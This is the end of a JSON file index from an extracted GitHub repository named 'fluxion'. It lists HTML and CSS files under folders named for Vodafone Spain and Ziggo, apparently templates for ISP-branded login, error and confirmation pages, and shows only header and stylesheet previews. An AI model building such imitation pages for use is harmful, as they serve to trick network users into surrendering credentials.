    "preview": "\n/* ::::: http://192.168.1.1/css/styles.css ::::: */\n\nhtml, body, div, span, applet, object, iframe, h1, h2, h3, h4, h5,"
  },
  {
    "path": "sites/vodafone_esp/info.html",
    "chars": 1843,
    "preview": "<html>\n<head>\n<meta http-equiv=\"Content-Type\" content=\"text/html; charset=ISO-8859-1\">\n\n<link rel=\"stylesheet\" type=\"tex"
  },
  {
    "path": "sites/vodafone_esp/info2.css",
    "chars": 1882,
    "preview": "html, body, div, span, applet, object, iframe, h1, h2, h3, h4, h5, h6, p, blockquote, pre, a, abbr, acronym, address, bi"
  },
  {
    "path": "sites/ziggo2_nl/error.html",
    "chars": 3732,
    "preview": "<!DOCTYPE html>\n<html dir=\"ltr\" lang=\"en-US\">\n<head>\n<meta http-equiv=\"content-type\" content=\"text/html; charset=utf-8\" "
  },
  {
    "path": "sites/ziggo2_nl/final.html",
    "chars": 1768,
    "preview": "<!DOCTYPE html>\n<html dir=\"ltr\" lang=\"en-US\">\n<meta http-equiv=\"content-type\" content=\"text/html; charset=utf-8\" />\n<tit"
  },
  {
    "path": "sites/ziggo2_nl/index.html",
    "chars": 3548,
    "preview": "<!DOCTYPE html>\n<html dir=\"ltr\" lang=\"en-US\">\n<head>\n<meta http-equiv=\"content-type\" content=\"text/html; charset=utf-8\" "
  },
  {
    "path": "sites/ziggo_nl/error.html",
    "chars": 8124,
    "preview": "<!DOCTYPE html PUBLIC \"-//W3C//DTD HTML 4.01 Transitional//EN\">\n<html lang=\"en\"><head>\n  <meta http-equiv=\"content-type\""
  },
  {
    "path": "sites/ziggo_nl/final.html",
    "chars": 6200,
    "preview": "<!DOCTYPE html PUBLIC \"-//W3C//DTD HTML 4.01 Transitional//EN\">\n<html lang=\"en\"><head>\n  <meta http-equiv=\"content-type\""
  },
  {
    "path": "sites/ziggo_nl/index.html",
    "chars": 8002,
    "preview": "<!DOCTYPE html PUBLIC \"-//W3C//DTD HTML 4.01 Transitional//EN\">\n<html lang=\"en\"><head>\n  <meta http-equiv=\"content-type\""
  }
]

About this extraction

This page contains the full source code of the thehackingsage/fluxion GitHub repository, extracted and formatted as plain text for AI agents and large language models (LLMs). The extraction includes 164 files (2.1 MB), approximately 566.1k tokens, and a symbol index with 258 extracted functions, classes, methods, constants, and types. Use this with OpenClaw, Claude, ChatGPT, Cursor, Windsurf, or any other AI tool that accepts text input. You can copy the full output to your clipboard or download it as a .txt file.

Extracted by GitExtract — free GitHub repo to text converter for AI. Built by Nikandr Surkov.

Copied to clipboard!